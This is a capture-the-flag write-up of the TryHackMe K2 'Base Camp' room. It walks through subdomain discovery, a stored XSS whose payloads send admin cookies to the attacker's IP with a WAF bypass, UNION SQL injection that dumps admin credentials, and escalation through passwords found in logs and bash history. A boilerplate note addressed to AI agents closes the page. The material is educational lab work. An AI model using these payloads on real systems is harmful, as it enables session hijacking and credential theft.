# Base Camp

{% embed url="<https://tryhackme.com/r/room/k2room>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports. We have SSH on port 22 and a Nginx web server on port 80.

<figure><img src="/files/m6OarbmGXgO1OIglsO4N" alt=""><figcaption></figcaption></figure>

We continue with a directory scan using Feroxbuster and find nothing special. The page seems to be just static.

```
feroxbuster -u 'http://k2.thm' -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="/files/5bIeJ60hbcoOoQIPocg8" alt=""><figcaption></figcaption></figure>

This gives us reason to believe that there may be other subdomains. We search for them with FFuF and find the subdomains `admin` and `it`. We now add them to our `/etc/hosts`.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://k2.thm/ -H "Host:FUZZ.k2.thm" -fw 811
```

{% endcode %}

<figure><img src="/files/fragqo1gOHQODgMSxGQC" alt=""><figcaption></figcaption></figure>

### admin.k2.thm

Behind admin.k2.thm is a system for checking tickets. However, we need some credentials that are still missing.

<figure><img src="/files/odzS3d5Y0A3U8JCuJykj" alt=""><figcaption></figcaption></figure>

Using a directory scan, we also find the endpoint `/dashboard`.

<figure><img src="/files/A3lA8Z5wFWyvSPjD2T4e" alt=""><figcaption></figcaption></figure>

### it.k2.thm

Behind `it.k2.thm` is a ticket system. We may be able to create tickets here, which can then be viewed in `admin.k2.thm`. Furthermore, we see that we have the possibility for a signup.

<figure><img src="/files/i31hMtrGureBlaJCy4M7" alt=""><figcaption></figcaption></figure>

However, a directory scan with Feroxbuster does not reveal anything else of interest.

<figure><img src="/files/XYc6BcdV1oduQUlmYzVl" alt=""><figcaption></figcaption></figure>

We create an account to have a quick look at the ticket system.

<figure><img src="/files/p9AYopLy9bYEYKDhrtSF" alt=""><figcaption></figcaption></figure>

After creating an account and logging in, we see that we can create tickets. It's very simple, only the title and description can be entered.

<figure><img src="/files/cVruTkMbCLgEdxXNzz7O" alt=""><figcaption></figcaption></figure>

## Web Access

Let's take a closer look at the system. Looking at the cookies, we see that flask-ssigned cookies are used for authentication. (not a jwt token)

<figure><img src="/files/RtfngW84OwV6BnXf4Hjx" alt=""><figcaption></figcaption></figure>

Using `jwt.io`, we take a closer look at the token.

{% embed url="<https://jwt.io/>" %}

This is also very simple, there are only the claims `auth_username`, `id` and `loggedin`.

<figure><img src="/files/TLnyxzdman3bF8XwweZr" alt=""><figcaption></figcaption></figure>

We are now trying to check for XSS, hoping to retrieve an admin token to hijack the session of one that will read our tickets. We use the following payloads, which resolve on our web server when the script is triggered. We set the field names as directories so that we can later tell which field is vulnerable. Furthermore, we set up a Python web server and send a ticket with the following payloads.

```
<script src="http://10.8.211.1/title"></script>
<script src="http://10.8.211.1/desc"></script>
```

<figure><img src="/files/PDnJB8x0RBCsHg1dnS7X" alt=""><figcaption></figcaption></figure>

And we get connections to our server. The description field is vulnerable to XSS and allows us to steal cookies, the `http-only` flag is not set.

<figure><img src="/files/oAjuZWe8dq0dSjSF2M7B" alt=""><figcaption></figcaption></figure>

A lot of payloads offer us hacktricks to do just that:

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#retrieve-cookies>" %}

We select the following, but we see that a Web Application Firewall (WAF) takes effect.

```javascript
<img src=x onerror=this.src="http://10.8.211.1/?c="+document.cookie>
```

<figure><img src="/files/bysH5DECR9ZgZ0XrlA2b" alt=""><figcaption></figcaption></figure>

It seems to trigger on `document.cookie`. We can work around this with the following payload:

```javascript
<script>var c='co'+'okie';document.location='http://10.8.211.1/?c='+document[c];</script>
```

<figure><img src="/files/xhbhZXeZo7xe2YkVLZkG" alt=""><figcaption></figcaption></figure>

The ticket is successfully submitted.

<figure><img src="/files/YUtnNtIQsJZYoJ8ABqIV" alt=""><figcaption></figcaption></figure>

And we receive some session tokens, of which we can use any of them.

<figure><img src="/files/AQRNy3hLaIuOmwuizijr" alt=""><figcaption></figcaption></figure>

We see it is actually and admin token using `jwt.io`.

<figure><img src="/files/2N47DfeMnB89mqHn9zQi" alt=""><figcaption></figcaption></figure>

Next, we add the token for the admin subdomain. After reloading the login page, we will not be redirected directly.

<figure><img src="/files/TDdMN4dxHdW6hhkN6oQZ" alt=""><figcaption></figcaption></figure>

When we visit `/dashboard`, we see that we have access. The challenge itself makes sure that our tickets are deleted, it may be that we trigger our own payload when we call the dashboard. After a short time, we can access the dashboard. Alternatively, you can disable JavaScript. We have three tickets in front of us and we can sort or filter by title.

<figure><img src="/files/j3bv2EciR9D7efrU5Q4s" alt=""><figcaption></figcaption></figure>

## Information Leakage

We try to check the field for SQL injection and use the simple special character `'`.

<figure><img src="/files/OZYr92xlKYCNn3Lb0Qud" alt=""><figcaption></figcaption></figure>

We are causing an Internal Server Error, SQWL injection seems likely.

<figure><img src="/files/onTyrjJdPL8saQ3ioBLT" alt=""><figcaption></figcaption></figure>

We intercept the request to filter and use it in SQLMap, but we don't seem to be very successful. We see that at some point in the request, we are redirected, and our session is terminated. Checking via `--proxy` and looking at the request in Burp Suite, we could now try to create a suitable tamper script, but there is a much easier solution. We do it manually! Another note, the session is not actually terminated. So we can continue.

<figure><img src="/files/bnb5AjIk2ak1sYkehI4d" alt=""><figcaption></figcaption></figure>

We capture the request.

<figure><img src="/files/TgTLRqpel1pHJKHyLnJS" alt=""><figcaption></figcaption></figure>

And try another simple SQL injection payload to get the session termination message. `OR` is the trigger here.

```
' OR  1 = 1 -- -
```

<figure><img src="/files/FcclA8qzPxURQqo0HpoZ" alt=""><figcaption></figcaption></figure>

We can substitute `OR` with `||` and the WAF is not triggered anymore.

```
' ||  1 = 1 -- -
```

<figure><img src="/files/vnlL4ndccodLeG1K8tFy" alt=""><figcaption></figcaption></figure>

Next we try to enumerate the number of columns in the table present. Determined by incrementing the columns that are selected in the Union Select Statement. Those are three.  With the payloads `' UNION SELECT 1,2` and `' UNION SELECT 1,2` we get a 500 inernal server error. Alternatively, we could also check using `ORDER BY x` and keep increasing the value `x` until we receive an internal server error.

```
' UNION SELECT 1,2,3 -- -
```

<figure><img src="/files/icDZdx1igRf0y7MC5tGc" alt=""><figcaption></figcaption></figure>

Now we can query the version of the database to determine which one we are dealing with. \
DBMS Identification Payloads:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification>" %}

```
' UNION SELECT 1,2,@@version) -- -
```

<figure><img src="/files/hl7Njp0phTJQQU8App75" alt=""><figcaption></figcaption></figure>

We can query the current database to determine underlying tables. Currently in use is `ticketsite`.

```
' UNION SELECT 1,2,concat(DATABASE()) -- -
```

<figure><img src="/files/CkAMs5E8tK1i5KGROkk6" alt=""><figcaption></figcaption></figure>

We can use the following payload to query all databases, but only ticketsite seem to be of interest. This SQL injection payload attempts to retrieve a concatenated list of all database names (schemas) from the `information_schema.schemata` table. The `UNION SELECT` is used to append this information to a previous query, bypassing normal SQL restrictions to extract data.

{% code overflow="wrap" %}

```
' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata -- -
```

{% endcode %}

<figure><img src="/files/8aX398qewBhhJupB1RfC" alt=""><figcaption></figcaption></figure>

Next, we move on to enumerate the tables of the current database. The SQL injection payload retrieves a concatenated list of all table names from the current database by querying the `information_schema.tables` table. The `WHERE table_schema=database()` condition ensures that only tables from the currently selected database are returned.

{% code overflow="wrap" %}

```
' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables  WHERE table_schema=database() -- -
```

{% endcode %}

<figure><img src="/files/BgABRmGWt8GetnWVh3tt" alt=""><figcaption></figcaption></figure>

We retrieve the following tables.

<pre><code><strong>admin_auth,auth_users,tickets
</strong></code></pre>

Of interest is `admin_auth`. Next we query for the column names of admin\_auth. The SQL injection payload retrieves a concatenated list of all column names from the `admin_auth` table in the current database. It queries the `information_schema.columns` table and filters the results using `table_schema = database()` to ensure it only lists columns from the currently active database and from the specified `admin_auth` table.

{% code overflow="wrap" %}

```
' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='admin_auth'-- -
```

{% endcode %}

<figure><img src="/files/kXeYyuIH4FAf3I4AWhUk" alt=""><figcaption></figcaption></figure>

We retrieve the following columns.

```
admin_password,admin_username,email,id
```

Next, we retrieve the `admin_username` and `admin_password` from `admin_auth`. The SQL injection payload retrieves a concatenated list of the `admin_username` and `admin_password` values from the `admin_auth` table, separated by a colon (`:`).

```
' UNION SELECT 1,2,group_concat(admin_username,':',admin_password) FROM admin_auth -- -
```

<figure><img src="/files/eiaBsz0KT9k0G8O8Hye6" alt=""><figcaption></figcaption></figure>

## Foothold

We notice that the user James has reused the password for the admin panel. We can log in to the server via SSH with his credentials. In the home directroy off james we find the user flag.

<figure><img src="/files/A2XclHRYNYJUYpzIcyBL" alt=""><figcaption></figcaption></figure>

Furthermore, we can already answer the fourth question by looking at the `/etc/passwd` file.

<figure><img src="/files/4pg94qQPe1BmBWQ94Y0e" alt=""><figcaption></figcaption></figure>

## Root Access

While enumerating, we notice that we are part of the `adm` group and therefore can read the logs in `/var/logs`. Perhaps we can find something useful there to extend our privileges.

<figure><img src="/files/VbNaceVJvJl9YXQh20o1" alt=""><figcaption></figcaption></figure>

We know about the user `rose`. So let's take a look at the logs. In `/var/logs`, we run `grep -iR` `rose` to find all entries that have `rose` as a topic in any way.

<figure><img src="/files/7SqVpXBRTpIHftfz3tE4" alt=""><figcaption></figcaption></figure>

In `nginx/access.log`, we find the failed login attempt of rose with a clear text password. We know that we cannot switch to user rose. But rose may have made a more serious mistake.

<figure><img src="/files/JgVAt3QUjcFV3eNdPren" alt=""><figcaption></figcaption></figure>

We realize it is the password of the `root` user. Using that password we are able to get a `root` shell.

From there, we go to `rose`'s home directory and find a failed attempt to switch `root` users in the `.bash_history` file using `sudo su`. It shows something like `sudo suREDACTED`. The user forgot to hit enter after sudo su and typed the user's password right after the command.

<figure><img src="/files/LZaZHDmaIVP2329D6jUn" alt=""><figcaption></figcaption></figure>

To answer the third question, here is a brief summary of who now has access to the server.

```
james password    # database
root password     # nginx/access.log
rose password     # /home/rose/.bash_history
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/k2/base-camp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
